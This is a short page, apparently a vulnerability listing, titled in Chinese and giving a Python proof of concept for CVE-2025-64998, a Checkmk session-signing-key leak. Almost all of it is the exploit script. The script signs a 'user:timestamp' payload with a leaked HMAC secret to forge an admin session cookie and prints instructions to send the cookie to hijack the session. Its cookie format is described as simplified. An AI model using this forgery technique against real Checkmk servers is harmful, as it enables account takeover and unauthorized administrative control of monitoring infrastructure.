CVE-2025-64998 Checkmk 会话签名密钥泄露漏洞

# PoC for CVE-2025-64998: Checkmk Session Hijacking via Secret Leakage import hmac import hashlib import base64 # Leaked session signing key obtained from remote site configuration LEAKED_SECRET = "LEAKED_SECRET_VALUE_HERE" def forge_cookie(user_id, timestamp): # Construct the cookie payload (simplified structure) payload = f"{user_id}:{timestamp}" # Sign the payload using the leaked secret signature = hmac.new(LEAKED_SECRET.encode(), payload.encode(), hashlib.sha256).digest() # Base64 encode the signature b64_signature = base64.b64encode(signature).decode() return f"{payload}:{b64_signature}" if __name__ == "__main__": # Example: Forge a session for admin user forged_cookie = forge_cookie("admin", "1710000000") print(f"Forged Cookie: _auth={forged_cookie}") print("Send this cookie in the HTTP header to hijack the session.")